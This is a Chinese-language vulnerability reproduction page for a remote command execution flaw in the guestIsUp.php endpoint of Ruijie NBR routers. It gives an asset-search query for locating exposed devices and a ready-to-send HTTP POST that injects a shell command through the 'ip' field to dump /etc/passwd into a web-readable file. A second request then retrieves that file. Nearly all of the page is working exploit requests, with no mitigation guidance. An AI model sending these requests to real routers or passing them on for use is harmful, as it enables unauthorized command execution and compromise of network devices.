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59 lines
2.0 KiB
Markdown
59 lines
2.0 KiB
Markdown
# 锐捷NBR路由器guestIsUp.php远程命令执行漏洞
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**一、漏洞简介**
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<font style="color:rgb(34, 34, 34);">锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。锐捷NBR 路由器系统存在</font><font style="color:rgb(255, 0, 0);">远程命令执行</font><font style="color:rgb(34, 34, 34);">漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。</font>
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**二、影响版本**
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Ruijie-NBR路由器
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**三、资产测绘**
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```plain
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app="Ruijie-NBR路由器"
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```
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●登录页面
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**四、漏洞复现**
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<font style="color:rgb(34, 34, 34);">1.执行查看用户并写入当前目录test.txt的poc</font>
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```plain
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POST /guest_auth/guestIsUp.php HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
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Connection: close
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Content-Length: 45
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip, deflate
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mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt
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```
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<font style="color:rgb(34, 34, 34);">2.访问该文件，得到回显</font>
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```plain
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GET /guest_auth/test.txt HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
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Connection: close
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Accept-Encoding: gzip, deflate
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```
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若有收获，就点个赞吧
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> 更新: 2024-06-24 11:42:26
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/hon6ugvrmt270v4x> |